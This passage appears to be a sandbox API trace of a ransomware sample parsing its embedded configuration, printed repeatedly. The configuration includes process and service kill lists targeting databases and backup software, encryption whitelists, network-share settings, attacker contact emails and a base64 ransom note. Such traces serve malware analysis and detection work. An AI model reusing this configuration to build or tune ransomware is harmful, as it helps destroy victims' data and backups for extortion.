file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 0
	[0053.905] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0xc) returned 0x9453e0
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948d78
	[0053.905] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x4ff8b0, _Radix=0 | out: _EndPtr=0x4ff8b0*=",\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 1500
	[0053.905] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9453e0, Size=0x10) returned 0x945368
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948e98
	[0053.905] strtol (in: _Str="51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\